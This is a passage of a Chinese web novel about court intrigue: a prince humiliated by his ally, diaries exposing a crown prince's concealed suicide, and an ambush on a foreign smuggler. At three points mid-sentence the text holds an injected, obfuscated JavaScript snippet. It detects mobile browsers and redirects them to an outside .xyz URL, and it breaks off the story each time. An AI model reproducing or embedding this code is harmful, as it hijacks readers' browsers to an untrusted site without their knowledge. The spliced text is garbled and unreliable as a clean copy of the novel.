李澄看着这几人,咬牙切齿,脸都变得狰狞起来,他很想一脚踢翻桌子,砸光砸烂这一切,然而韩圣吉在他面前,他不能。 韩圣吉居高临下地看着李澄,缓缓摇头叹息道:“你果然还是骗了我。” 李澄一怔。 “果然,龙阳之好这种癖好,是改不了的。你骗了我,骗了我妹妹,唉,不是个合格的盟友啊。” 李澄迅速从地上爬了起来,发怒道:“那你又算什么东西?!你以为你自己很合格吗?!” 韩圣吉唉声叹息道:“可是你毕竟是我们扶持的人,我们又怎能因为这件事撕毁盟约呢?邸下,您说对不对?” 李澄道:“你、你!对!我说对!对啊!他妈的!!太他妈对了!!!” 听到这样大的声音,连醉过去的宋景熙也不由得侧目。 李澄气得胸口剧烈起伏,状态很是可怖。 韩圣吉暗中皱了皱眉,又改为一副刻薄的模样,道:“我小妹对我哭诉你薄待了他,竟弃她而去,我这才来找你,不料你在这里和宋氏厮混,这倒是很让我寒心,世子邸下,你不应该忘记我们之间的约定,您别忘了,过了今夜,您才是世子,真正的世子。” 李澄的眼睛布满了血丝,终于没能控制住自己,一脚踢翻了地上的矮桌,叮呤哐啷酒具撒了一地。 宋景熙刚刚埋头回去不久,听到这声,又不由得侧目过去,然而只看见和听见了一片混沌和空灵。韩时元安抚地拍了拍他的背,轻声道:“别怕。” 李澄本来就气得要死,看到门口两人,更加气得砸墙。但或许是酒喝多了失了劲,砸了一拳便脱力倒在地上,捂着脸浑身颤抖起来。 韩圣吉冷眼看着,负手不客气地提醒道:“世子邸下,还请冷静点,往后不要再违背我们的约定。但愿你能做到。”他说完转身便走,临走前略有深意地扫了宋景熙和韩时元一眼,颇为玩味地嗤笑了一声,而后绕过两人毫不留恋地离开了。 韩时元盯着韩圣吉,眼底的寒意又回来了。 64. 等待进入网审 茅舍。 南一洛轰一下推开房门,大叫道:“义父!” 南林半躺在床上,就着破窗边的阳光看书,听见南一洛的喊声立刻看去,只见南一洛的手里举着一个沉甸甸的旧木盒子。南林激动地整个人都在颤抖:“拿到了?!” 南一洛的神情是既兴奋又痛苦,这两种情绪交错在一起让他的脸变得很是怪异。他道:“拿到了!但也在崔在燮那里暴露了......” “不用管他!快给我看看!”南林想下床去,但身体原因动得不利索,只好不停催促。南一洛跨大步上前将盒子放到南林手里,南林看他表情怪异,一边打开盒子一边问:“你看过了?” 南一洛语气沉重:“我看过了。义父...你得先做好准备,那些事情很...很出人意料。” “二十多年的准备已经够了!就是再震惊也震惊不到我了。等我仔细看看。”南林颤手取出盒子里厚厚一沓纸,迫不及待阅读起来。 ...... 崔溥小的时候有个习惯,就是写日记,直到他死也不曾变过。 之所以喜欢写日记,或许是因为早亡的母亲和废物的父亲而性格孤僻,没有朋友,自然也就没有可以吐露内心的地方,因此他只能将所有的情绪都化作一笔一划的墨迹。 后来他不爱写日记了,改成了写查案个人志,上面写的全是关于姐姐崔珠和姐夫孝献世子死亡的调查结果和思绪。一写就是到老。 死亡前五日。 路过一家赌场,只听得赌场里面闹哄哄的,有人在嘈杂声中大声叫喊:“啊——别抢了!手下留情啊!” 以往崔溥很少走过这条路,只是往日惯走的道被封了,他只好借这条道。他知这条道路上有家附近郡县男人都爱来的赌场,也来过几次,来的不多。今日,他竟又鬼使神差地走进了赌场。赌场里气氛和温度都热烘烘的,没人在意他。 崔溥进来时,一个赌徒正被一众人哄抢,身上的衣服都被扒走了,连网巾都被夺了去。方才大叫的就是这名赌徒。 这赌徒输得只剩下一条裤子了,披头散发地被众人放开后,叫嚷说:“我真不甘心!看相的说我是个一夜暴富的富贵命,我要再赌!上把大的!” 众人都啧啧嘲笑。一人说:“你身上就剩条裤子了,还拿什么赌!我们可不要你这条臭裤子。你要脱,去外边脱去,我们可不想看你那二两肉!” 众人哈哈大笑起来。 赌徒红着脸说:“我家还有东西可以拿来!” 另一人说:“得了吧老金,你家都已经被你败干净了,哪还有什么东西可以拿来作押的?” “我爹!”赌徒说:“我爹他留下来一个传家宝,是个锁箱,他咽气之前就特别宝贝!让我等他死了就拿那玩意给他老人家陪着下葬去,我不小心给忘记了,一直留在家里,又打不开,所以只好留到现在。你们想想,我爹那可是曾经宫里的尚膳大人啊!他宝贝的东西,那肯定是个好宝贝!我拿这个赌!” 赌众呸道:“你放你爹的大屁!你爹给你留的那间瓦房的瓦都被你给输光了,你有这贵重东西,早不拿晚不拿,到现在咱们赌到最后了才拿出来,鬼才信的你的屁话!赌不起别赌,看你那一副比乞丐还差劲的脸,还什么一夜暴富,依我们弟兄看,明明就是个乞讨至死的面相!” 赌徒说:“你他娘的又不会看相!那看相的就是这么说的!我爹当年就是看我面相好才收了我的!” 开盘的人说:“又掰扯你那尚膳爹!只不过是个伺候在德宗大王身边一个没根的家伙而已,你又不是他亲儿子,就是个养子,你一天到晚在骄傲个什么劲!你瞧你那尚膳爹死了,咱们文祖大王有慰问一星半点?” 赌徒说:“你们侮辱我,就是在侮辱我爹!” 开盘的人说:“哎唷我这话也是说得刻薄了点,毕竟还是宫里的尚膳,怎么也是个正儿八经的内官,侮辱不得!好,那老子就侮辱你这玩意!你爹是尚膳,那你又算个什么东西?你一没进宫,不敢忍痛割爱舍下你那二两的肉宝贝,二没拿你尚膳爹那留下来的遗产发家,还在这想着靠拿我的钱发财啊?我看你真是讨打了,滚吧,我们这里可不是什么乞丐窝,滚出去!” 赌徒急得挣扎跳脚,眼看着马上就要被人捉住胳膊丢出去了,这时,人群角落里一道不起眼的声音响起:“和我赌。” 崔溥说:“我有五两钱。你和我单开一局,赌不赌?” 赌徒不知道这是哪里冒出来的冤大头,高兴地直点头:“赌!赌!” 一个人看热闹不嫌事大,说:“这位老大哥上来凑什么热闹,干嘛和这家伙赌啊,是看上这家伙的臭裤子了?还是看上那个破箱子了?” 崔溥对那赌徒说:“用你爹留的箱子押宝。” 赌徒迅速答应,兴奋地开盘。一盘过后,输得惨烈,瘫倒在地,被人直接丢了出去。 崔溥把钱给了开盘的赌场老板,出去扶起赌徒,还没说话,赌徒先泣不成声地说话了:“老兄,你真是个好人。” 崔溥说:“我是个穷人。你家在何处?我要那箱子。” 赌徒说:“老子虽然好赌,但从来都是信守承诺,反正那箱子我也打不开,送你得了,一个破木箱子,里面能有啥好东西!多半是我爹一些臭书——但也不一定!说不定有好宝贝,要是金银财宝......唉!都算老兄你的了!你要是想知道里面是什么,直接砸开看看得了!” 崔溥拿到了破木箱子。不用砸开箱子,只需要砸开锁,因为锁已经腐烂了。里面是一沓带着臭味的纸。 赌徒大失所望,回自己没有瓦顶和窗户的家去了,第二天被人发现尸体悬在梁下。 崔溥在自己的茅屋,读这些纸,读了一晚上。 第一张纸,署名孝献世子。同时,这张纸的背面还紧贴着另一张纸,字迹娟秀,署名是崔珠。 简而述之。崔珠因调查丈夫之死而被公公德宗下令禁足后,便彻底投身于整理丈夫生前爱不释手翻阅的古籍当中。孝献世子好读史,在书房里集满了各类史书。每每在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784044|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阅读到哪位人物因病而死时,孝献世子总是会在书页中夹留一张字条,备笔注释总是极尽悲哀,言语中透露出自己命不久矣。崔珠将这些书籍细心整理,也在整理自己的哀思。书房太大,过了很久,崔珠才偶然找到一本书。在这本书里,孝献世子留下了他的遗言,称不堪病痛折磨,决心求死。 天底下没有哪位王位的继承人,会集几乎所有病痛于一身。假使一个人的身体从头至脚几乎无时不刻在遭受折磨,而且被折磨了半辈子,那他相信,换做任何人,都会没有生的欲望的。 他最后在纸上写道:“我只有一个机会。” 第二封信,署名崔珠。 这是一封遗书,是崔珠写给崔溥的。信上,崔珠写尽了所有她生前已经知道的事。她在察看那张世子手记后,将所有手记都找了出来,组合到一起,找出了孝献世子所说的“机会”究竟是什么。 孝献世子的病情出现了新的症状,经内医院诊治,需要用到一味新药:桃仁。德宗赏赐了很多干果食物给孝献世子,其中便包括桃仁。负责医治世子的御医对孝献世子说:“桃仁食多有毒易亡,需谨慎服用。”孝献世子得知后,某日因数病兼发,不堪忍受病痛折磨,吞食大量桃仁而亡。至于究竟是临时起意,还是早已预谋,已无从得知了。 崔珠最后在遗书中写道:“此信留与你,小溥。这封信,你要好好保存。无怪我随世子而去。” 第三封信,署名金尚膳。 这不知道是写给谁的,没有写收信人,与其说这是一封信,不如说这是一封自言自语的潦草书。 起初,德宗本以为儿子是遭人毒杀,然而一番调查下来,结果竟是世子吞食桃仁自尽。要是刻薄一点来讲,这是父杀子。就算不这么刻薄地来讲,这桃仁是德宗亲自赐给世子的,世子吞食毒物自尽,完全就是件不光彩的事情。这样的死对于一个国家来说是灾祸,是凶兆。德宗来不及伤心,以治疗和照顾不力为由灭了许多知晓案情的宫人和御医的口,以此隐瞒了下来,并之后对外宣称世子是因病暴毙而亡。 结果,世子嫔又悬梁死了。最先知道这消息的当然也是德宗,知晓世子嫔留下了暴露事情的东西,德宗便派身边服侍自己多年的尚膳将世子手记和世子嫔遗书取走,令之销毁。然而德宗信任错了人,尚膳没有照他说的做,而是偷藏了起来。 尚膳写道:“我之所以这样做,只是觉得良心不安。这样的事情连史官都不会记载,后人也不会知晓。但一些事情总要重现天日。” 崔溥看完了这些,没有像这些人一样留下任何字迹。拼凑出来的荒唐宛如一把又一把的刀凌迟着他的心肝脾肺肾。他立刻修书一封发往全罗道,写完,又不甘心地再看了一遍。不该看的,不知是看到哪个字眼时,崔溥吐出一口血,吐没了最后一口气。 后边的事,真不知是不是该庆幸崔在燮没有替金尚膳完成德宗交代的任务。 南林抖如筛糠,眼角泌出一滴泪来,张嘴半天,才磕磕绊绊喊出一句:“————荒唐啊!” 65. 等待进入网审 “————荒唐啊!” 李珘差点跳起来。不,他已经跳起来了。 “当年竟然发生了这样的事?!这说出去谁信?你信?我信?这比小说还要荒唐!” 韩时元道:“若是崔在燮伪造,也不无可能。” 宋景熙不赞同道:“他要是能编出这么荒唐的事情,也算他骗术了得了,竟能隐瞒下这些去洗脑崔氏的族人,差点把全州变成一个贼窝的销金窟。” 李珘道:“这事,我倒是信。哎这件事都过了这么多年了尘埃落定已是积德,你叔父他们得到了答案便是最好的事,管他什么真真假假的,现在先别纠结这个了。还有第二件荒唐事!太荒——唐——了!” 他抓狂道:“全罗地区的曳扇台竟敢背叛我们!!那个畜生,老子当初白培养他了,当初就看出来他心气不稳,从一穷二白到掌权势后变化很大,但看在他忠心耿耿,也乐意让庆尚地区监督的份上,我当时就没算他的帐,之后更是出了事不得不去了蔚州躲着,一下子管不上了。他怕是以为我死了,心思都飞到天上去了!小代!” 代理台主恭敬道:“在。” 李珘继续抓狂:“给我撤了他的职!” 代理台主犹豫道:“即便是撤职的命令发过去,也不知他是否会遵守,万一他自重......” “多半是不会遵守的。”李珘突然变冷静道:“那只能这样了,小代,你再替我修书一封发往庆州台,让他们不必赶来汉阳了,派一拨人往全州还有罗州去,去探,密中监视在全罗地区的密使和崔在燮那伙人。庆州台的密使好歹也大多是我看着成长起来的,全州台的那群心思不正的饭桶肯定比不上。” 代理台主道:“让他们都不必来了?可是台主,您之前说让八道分台的密使都拨十之七八的人赶往汉阳,届时往东郡捉人去,如今去除全罗和庆尚的人数,我们拨往东郡的密使又变少了,这样一来在东郡的捕捉计划若再想实行无误,有些线路怕是需要重新部署了。” 韩时元道:“重新部署便重新部署,难不成缺了那十几二十人便办不了事了?” 李珘点头道:“就是就是,时元,既然你说这话,那便你来负责吧。你一个人抵十个,你上。” 韩时元道:“正有此意。” 宋景熙侧头道:“那我呢老师。” 李珘似乎很惊异:“还需要我来说?你俩不是一直形影不离吗,他的就是你的!当然是一起了!” 代理台主眨了眨眼。 “傻样。”李珘摆手道:“行了,多亏你们俩之前在东郡视察那阵子将计划部署得差不多了,这下只需要变动人手。如今只有黄海、忠清和江原三道的密使赶来了,另外三道的人也差不多就在这几日到达,你们先去点点人手,准备准备!“ 出发前一日。 曳扇台接到了一个新的密报,来自存善堂。 代理台主接到这封密信,见标记是给宋景熙的,便先交给了路过的天沛,让天沛代为转交。 天沛一路跑跳进内厅,大声道:“宋大人!” 宋景熙正和韩时元一同看舆图,见天沛闯进来,韩时元扫了他一眼,语气冷淡道:“何事。” 天沛努嘴道:“老大,我喊的又不是你。宋大人,这是存善堂发来的,副台让我转交给你呢。” 宋景熙接过信:“哦?存善堂,存善堂已经很久没有消息了啊。” 韩时元道:“是很久没有消息了,一直处在暗护当中。” 宋景熙一边拆信,一边道:“为了补全东郡那边的人手,暗中保护存善堂的人手都不得不拨走一些了,怕是得让依然留在存善堂保卫的人多留意一些,万一黑手袭击便不好了,我们现在最好还是不要损失人手。” 韩时元朝天沛稍稍扬手,天沛努努嘴出去了。 韩时元道:“不错。只不过既然我们在东郡实施抓捕海商的计划,那黑手的目光和爪牙也必然会被吸引到东郡去,若是海商知道他是谁,他定然要倾尽全力阻挠抓捕计划,对于存善堂,尚且不需担心,若实在担心,可增加一些御营厅或义禁府的人过去代为保护。” 宋景熙点头道:“那就这么办。” 拆开密信,只看了一眼,宋景熙便道:“苓介要见我?” 韩时元道:“苓介是谁?” 宋景熙也道:“是啊苓介是谁?” “存善堂那个苓介啊!”外面天沛探出一只脑袋道:“就是咱们在东郡救的那个小孩儿。还挺有戒心的,在存善堂呆了足足一个多月才告诉我们她名字叫苓介。她要见你干嘛呀?” 宋景熙怪道:“我不知道。说是让我去一趟,洪医官说苓介说是十分要紧的急事,是......和赵家人有关。” 韩时元道:“既然如此。” 宋景熙道:“那便见了。” 之所以要见宋景熙,原因是前阵子苓介替洪医官打理药柜时,无意发现了高处的一个神秘的药柜,抽开一看,竟是一个模样奇怪的药草残本。接着洪英看见苓介满脸惊恐地握着几颗干瘪的叶片跌跌撞撞地从内堂冲出来,她问:“你们为什么会有这个?” 洪英见她手里拿着的正是解忧草的残本,之前一直被她藏在药柜最高的一格上,只有洪医官和洪英拿得到,苓介很少去碰,如今竟被她踩着椅子无意发现了。洪英本打算保持沉默蒙混过去,但却听听见苓介颤抖地说道:“我姓赵。” 姓赵,东郡人士。 这就是为何苓介要见到宋景熙的原因。 比起几个月前在东郡见到的那个瘦弱的小哑巴苓介,现在他们眼前的苓介已经完全不一样了。不仅不再面如死灰,嘴唇干瘪,打扮干净后五官明朗起来:相貌普通,皮肤粗糙,却贵在生了一双实打实的剑眉,合上眉下一对倔强而硬气的眼睛,丢于人群中也能让人一眼明辨。最不一样的是,苓介并不是个哑巴,还是一头短发,由此让人分辨不出来究竟是男是女。 对此,洪英道:“你的人将她送到我们这时,我发现她得了头虱病,而且很严重,只能剃光头发。” 苓介摸了摸头发,并无不满之色。 她轻声道:“洪英姐都和我说了,你们在查东郡的事情,赵郡守一家也被你们抓了。可是你们大概不知道,赵家人里还有一个人你们没抓,就是我。” 宋景熙很是吃惊:“你是赵郡守的女儿?” 苓介道:“曾经是。” 韩时元道:“如今不是了?” 苓介轻轻点了点头:“如今不是了。”不待他们问,她便道:“我就是死,也绝不会忘了当年他们是怎么抛弃了我娘和我的,也绝不会忘了那个被他们叫做‘圣草’的东西。” “我娘当年是东郡城内的一名舞娘,那时赵郡守还只是东郡辖下一县的县令,和当时的东郡郡守交好,因此来到东郡拜访,巧合之下结识了我娘,他为了我娘赎身,带走了我娘,短短几年,他就升为了东郡郡守,回到了东郡,我也正在东郡出生。” “我还在赵家有记忆的那几年,记得赵郡守和他的几个儿子都很喜爱食用一种很奇怪的植物,有时候是混在菜里,有时候是混在酒和水里,他们把它叫做圣草,而且真的奉为圣草。每年初和每年中,都会要去一趟海边,年中的时候赵郡守的夫人就会带着人搬着一个沉重的木箱子回来,箱子里就是圣草。圣草很贵,也很珍贵,只有赵郡守和他两个儿子可以用。家中的下人连碰都不能碰,也没见过那东西的模样,更不知道为什么赵郡守他们会对那东西那么痴迷。我和他们一样,只知道他们一直很古怪,但大家都认为这只不过就像染了烟瘾和酒瘾的人一样,没什么值得猜测的。” “赵郡守很喜爱我娘,可是他的喜爱渐渐地便淡了。我娘本来就是贱籍,即便是生下了我,在赵家也是可以使唤的家仆,赵郡守的夫人要走了我娘,让我娘服侍她,这样一来赵郡守见到我娘的次数就变得极少,我见到赵郡守的次数也变得极少极少。我那时年纪很小,想着自己的父亲是赵郡守,于是有一天,我离开了郡守夫人的院子,去了赵郡守的院子。我对着赵郡守喊了一声爹,但他很疑惑地问别人:‘这是谁?’” 宋景熙一脸沉思道:“解忧草有教人遗忘的效用......哦解忧草就是赵家人所称的圣草。” “我知道。”苓介平静地道:“但那时的我还不知道是因为解忧草的原因。那时我想,大概是爹太久没见过我,所以忘了,但肯定会记得我娘的,所以我说了我娘是谁,可是他又说:‘那又是谁?’那时我心凉透了,以为他忘记了我们,可是过了没几天,他突然去郡守夫人院子里找到了我娘和我,把我们紧紧抱在一起,说他想起来我们了,之后更是不顾郡守夫人的阻拦,坚持要把我娘和我搬到他的房屋边去。我那时被他紧紧抱着,心里很高兴,但也觉得很奇怪,因为他在之后的表现都好像刚刚认识我娘和我一样,他很喜欢和我娘说话,但对于我娘说的很多事情,他却说忘记了,不过愿意听。” “那时的我,大抵是幸福的。可是如果幸福的代价是那样的话,我宁愿当初不曾去过他的院子喊那一声爹。”苓介神色变得十分悲哀,语气却依旧平淡:“我娘得宠,郡守夫人很嫉妒。说回圣草,之前圣草都是郡守夫人带着人去取,每回回来,郡守夫人都会抱怨很是累人,实在是一件苦差事,有一回赵郡守带我去了郊外,夜晚回来见我娘不见了,这才得知郡守夫人派我娘去取圣草了。赵郡守很生气,因为郡守夫人没有派之前和她一起去取圣草的两名亲信跟着我娘一起去,但在赵家,郡守夫人才是最大的,所以赵郡守除了生气也没有做别的,这件事在我娘神奇地拖着装着圣草的箱子回来后便不了了之。” 说到这,洪英递来了一杯茶,让说了太多的苓介润润嗓子。苓介接过,却只是捧着没喝,继续道:“过了很久之后,赵郡守又一次忘记了我娘和我。起初我只是察觉到他越来越冷淡,很少再进我娘和我的屋子了,虽然还记得我们,却已经对我们失去了兴趣。之后更是在他出了一趟一个多月的远门后再回来,见到房屋旁边住着两个他不认识的人,他大发雷霆,将我娘和我赶走。我们回到了郡守夫人的院子,重新伺候郡守夫人。我心有不甘,心想爹不会这么绝情的,我想见到爹,但郡守夫人不准我出去,再过了一阵子,郡守夫人便把我娘和我赶出了赵家。” “我娘带着我在东郡城内流浪,有时见到赵郡守,他完全不会多看我们一眼,如果说他或许还记得我们那么一点,大概是他丢给过我娘一枚铜板。后来我们又不得不离开了东郡,去了其它地方。没过几年,我娘便病死了。”苓介紧紧捏着陶杯,眼神里充斥着悲愤:“饥寒交迫说着容易,写出来也容易,可只有体会过才知道这样的生活有多痛苦,对于一个带着不到十岁的孩子的女人来说,这便是地狱。” 韩时元不着痕迹地点了点头。 “我娘过世之后,只留下了一件遗物。你们也很惊讶吧,我娘带着我过了几年的流浪生活,竟然还有遗物。别误会,其实只是一本日记。” 宋景熙心里嘶了一下:“又是日记?” 韩时元道:“日记在你手中?” 苓介点头道:“对,我之前一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女人走进海水里,男人试图将粗制滥造的木箱子塞到女人怀里,或者放到女人背上,但海水没腰,阻力太大,都不成事。男人重重啧了一声,骂了一句女人听不懂的话,而后将船靠得更近了点,好让女人抱着赶紧上岸。 男人说:“小心点,要是摔了出问题,不要找我坏事。” 女人将箱子搬上岸便脱力了,只好在地上拖着走。男人站在船上,拿着不知什么东西放到嘴里嚼了嚼,嚼着嚼着,不耐烦地对女人说:“木板很脆弱,你这样搞,不要二百步,箱子就会完蛋!” 女人十分为难地说:“这个太重了,我实在拖不动......您可不可以帮个忙?” 男人说:“我从不上岸。” 女人只好连搬带拖,走了没几步,忽然一只脚被岸边石头绊了,人和箱子俱倒,箱子压住了手脚。 男人嚼巴嚼巴着听见女人痛呼,又骂了一句女人听不懂的话,接着皱眉说:“喂,下一次付钱是什么时候。” 女人十分不解,说:“夫人对我说已经付过钱了。” 男人将一团黑乎乎的东西一口吐进海水里,也没管女人的回答,说:“下次叫你家老爷多付钱。” 说罢,男人跳进海水里蹚上岸,一把扛起箱子,见女人愣着,直接说:“带路啊。” 到了城镇边界,按照赵家的规矩,要把箱子藏进干草堆或木柴堆里,再用推车推进城镇里运到赵家柴房。男人将箱子藏进干草堆里,说:“下次多付点钱。”说完就直接走了。 ...... 宋景熙凝视着苓介母亲画出来的海商的画像,半晌后道:“这个人的长相倒是从未见过的类型。” 苓介点头:“我也没见过。” 韩时元道:“应当是外邦商人,而且是走私惯犯。” 宋景熙道:“赞同,这副面容便不似本土人,更像是外邦人,只是若是问是哪个外邦,我也答不上来。” 韩时元道:“这种走私海商,我在蔚州也曾见过。他们这一行的规矩便是不能上岸,因为一旦上岸便有被抓住的风险,如若官兵来了,这些人则可以直接划船逃跑。” 宋景熙道:“那这些走私商人倒是谨慎。不过...我有一点疑问,为何在日记里写着这海商是摇着一艘小船来的?若是从其它国家越海而来,怕是很远吧。” “当然不会仅用一艘破木船乘风破浪了。”韩时元笑着道:“他们会乘坐一艘大船而来,大船上会带有数艘小船,近岸时再由某人乘坐一艘小船载着走私物靠岸,若是走私物体量大,便是几艘小船先后靠岸,而且即便是小船也不能泊岸,船上人更不得上岸。有些地方为了抓到他们,会设圈套引他们上岸然后抓获,若是小船上的人被抓,远离海岸的大船见势不对便会逃跑,以此弃车保帅。” 宋景熙感叹道:“竟然如此谨慎,如此聪明,看来我们这次的抓捕任务相当艰巨。” 苓介默默地咀嚼了“圈套”两个字,放在嘴边又重复了一遍:“圈套?” 她各看了一眼宋景熙和韩时元,道:“如果要抓住那位海商的话,我们可不可以也用圈套抓人?” 宋景熙有点惊讶:“你愿意帮我们.....哦不,你知道我们为何要抓他?” “我都知道,洪英姐都和我说了。”苓介看向洪英:“要是抓住他可以让这一切都真相大白的话,我也是愿意的,不然我不会把我娘的遗物拿出来让你们看那位海商长什么样子。我知道抓住他很难,但希望这可以帮到你们。” 韩时元道:“东郡海边多有商船和民船往来,无法分清哪一个是我们的目标,有了这副画像,便不必打草惊蛇了。多谢,这很有帮助。” 宋景熙朝苓介握了握拳,苓介也学着握拳回礼:“另外......其实我还希望我能帮你们更多,我有一个设圈套的办法,不知道你们愿不愿意试一试......” 宋景熙温和地道:“请说。” 66. 茶母其二 苓介所说的圈套,就是让她自己来当“引子”。 之前就已经推测过,一共有三个海商可能出现的地点,李珘带着宋景熙和韩时元就在这三个地点不断来回巡视,只等着海商的出现。而苓介则成了取货的人,在最中间的嫌疑地点等候着那位远渡重洋而来的商人。 前五日一直没有等到。直到第六日,天色已经有了微光,坐在岸边木桩上对着天际线和海平面发呆一整夜的苓介看到从遥远的那一道横长的线上凸出来一个点,她的眼球随着那道点移动,看着那道点越来越靠近,变成一个有着模糊轮廓的东西。 无论是她还是隐藏在不远处树林里的密使们都在按兵不动,因为他们并不知这究竟是不是他们要的船。过去五日,这样的船已经来了好多艘了。 一艘体型中等的货船缓缓破开,紧接着停在约百丈以外的地方,过了片刻,一艘小型的木船被推下水,有个人扛着箱子跳了上去,一摇一摆地划着小船朝岸边来。 苓介呼吸紧张起来,手里握紧了绳子。 这个异样,可以确定就是她要找的海商的船没错。 小船靠近了岸边,苓介有意无意地看着船上男人的脸,心脏怦怦跳——就是母亲的日记上画的脸。 方脸,黝黑的皮肤,宽厚的嘴唇,糙黑的头发,以及不修边幅的胡茬,和那副画像几乎没有差别。 海商一直脚踏在船头,嘴巴里嚼着什么,皱起额头褶皱朝苓介大喊一声:“嘿!拿什么的!” 苓介指指海商背后的箱子,喊回去:“取你的货的!” 海商:“怎么就你一个?” 苓介:“大夫人叫我来取货。” 海商用自己的语言骂道:“要死啊,又搞这出。”又冲苓介喊道:“不懂规矩啊?抛绳子!” 苓介将绳子抛过去,一头拴在木桩上,一头拴在船头。海商拽了拽绳子,道:“你是谁啊?信物呢?” “我是赵郡守的女儿。”苓介脸不红心不跳地撒谎:“什么信物?大夫人只说要我来,没有给我什么呀......” 海商哦了一声,“女的啊。你看着像个小子。”他直起身盯着苓介嚼嚼嚼嚼半天,喃喃自语:“......穿得比老子还破。七八年前有个女的也是一个人来......喂,那是你家的谁?” 苓介假装陷入了深思,蹙起眉头冥思苦想半天后,道:“那个时候我才八九岁,记不清了。但你说的那应该是我娘,那天她很晚才回来,回来的时候一脸疲相,脚还受了伤。” 海商道:“那女的上次就派你娘一个人来,这次就派你一个人来,你娘不来帮你?” 苓介道:“我娘死了。” “......” 海商嚼巴嚼巴没说话,往四处望了望,拍了拍掌,呲起牙说了一句苓介听不懂的语言:“都是什么狗屁破事。”又用苓介听得懂的语言道:“把绳子缩短点。” 苓介啊了一声,挠了挠后脑勺,似乎是不明白为什么要缩短绳子,但还是照做了。海商利落地扛起箱子下水,苓介要去接箱子,海商扬首驱赶:“一边儿去。” 李珘这边,几人接到有情况的消息,立刻从另一地点赶来了,躲在远处丛林里眯着眼睛看着苓介和海商的动静。众人都捏一把汗,害怕海商意识到不对劲而逃跑——其实逃跑也没关系,只要靠岸后再想逃,埋伏在暗处的弓箭手就起作用了。 最好的情况还是不被发觉。看见海商扛箱子下水,李珘差点鼓掌了,只能高兴地拍了拍左边的韩时元和右边的宋景熙,看见海商一步步走进设伏圈,李珘又高兴地拍了两人一把,得意地摇头道:“唉,真是恩将仇报了啊。” 海商竟没发觉不对劲,直到在苓介的带领下踏进一条小道时,看见眼前缓缓出现的数道人影,这才直到自己中套了。他猛地往后一看,背后也渐渐一群人渐渐聚拢过来,顿时呲牙咧嘴大喝一声,果断将箱子丢到地上,毫不犹豫地往回冲去。 他竟是毫不惧怕面前持着冰冷长刀的一排人,没斗几下,便钻了一人的空子往包围圈外奔去。可惜刚躲过长刀,背后竟是一道锐利的冷箭袭来,毫不留情地擦过海商的右小腿,顿时整个人一歪,即便有意志力支持着他继续往外逃,却也正是在这一瞬间,几把长刀环绕架上脖子。 海商啐了一口,辱骂了一句谁也听不懂的话。 李珘带着两个徒弟信步走来。他看着海商,却是抬手呼唤道:“天铃!” 天铃从树上跳下来:“在!” 李珘道:“他这腿不会有事吧?” 天铃看了一眼海商的腿:“要不了命。” 李珘拍拍胸脯:“那就好那就好。”又看着坐在地上怒目而视的海商道:“唉,老兄,其实我也是多次强调过非必要不伤人的,但你逃得太猛,我们伤你这也是万不得已了。也不知是谁放的箭......还请不要介意啊。” 韩时元道:“天锋放的箭。” 李珘欸了一声:“不计较了。” 海商吐出嘴里一直嚼着的一团黑漆漆的东西,一双锐利凶恶的眼神反复在苓介和李珘直接来回跳跃,说了好几句话,可惜根本听不懂他说了什么。 李珘猜测他应该说的是“有本事就杀了我”,于是客气地道:“我们不要你的命,找你来,只是希望你帮一个小忙。来人,抬他去官衙。” 官衙内。 天铃在屋内给海商包扎小腿,天沛和天锋两人都在里头陪着,怕生意外。李珘一行人则在冰天雪地的室外等着。 李珘把手藏进袖子里揣着取暖,两颊动来动去——这是他的招牌动作,说明他在思考。 片刻后,他想好了,便朝站在一旁的苓介道:“孩子,你方才表现得不错。” 苓介原本正在发呆——这也是她的招牌动作,听到有人和她说话,还是不熟悉的人,有些愣,但立刻回应道:“谢谢。” 李珘道:“哎,这有什么谢不谢的,论到底,你也帮了我们,我们还要谢你才是,对不对?” 宋景熙和韩时元双双点了点头。 苓介道:“可是,还是要谢谢你们,我受了你们的恩惠,很想报答你们,但是我什么都没有。” 李珘道:“哎,这话说得不对,孩子,你不是什么都没有,想报答我们啊?若是你想拿什么实物报答我们的话,那你其实是想错了。我方才说了,抓捕的时候你表现得很好,有勇有谋,临危不乱,做事条理,这就是你所有的东西,比任何实物都有价值。” 苓介懵懵地点了点头。 “哎呀,你知道的,我们这群人其实是替宫里办事的,你还知道的嘛,我是这群人的老大。”李珘说着看了眼宋景熙和韩时元,苓介见到后两者点头,又懵懵地点了点头。 李珘满意地继续道:“作为老大,我自然是要相看可塑之才,吸收人才进来的......” 宋景熙忍不住笑了出来,李珘方才打了那么多圈,现在可算听明白了,这是在哄骗苓介入伙呢!就像当年在眉寿山上初次见到李珘,李珘就给他下套,追着他打,让他入伙一样。 “所以!孩子,你表现出来的你所拥有的那些特质,完全符合我对于可塑之才的标准,哎唷,我就说简单一点吧,你愿不愿意进我们曳扇台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795416|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”怕苓介意识不到曳扇台有多重要,进入曳扇台有多艰难,李珘还特意解释了一番曳扇台是什么玩意。 听完了李珘的宣传,苓介反倒陷入了沉思当中。 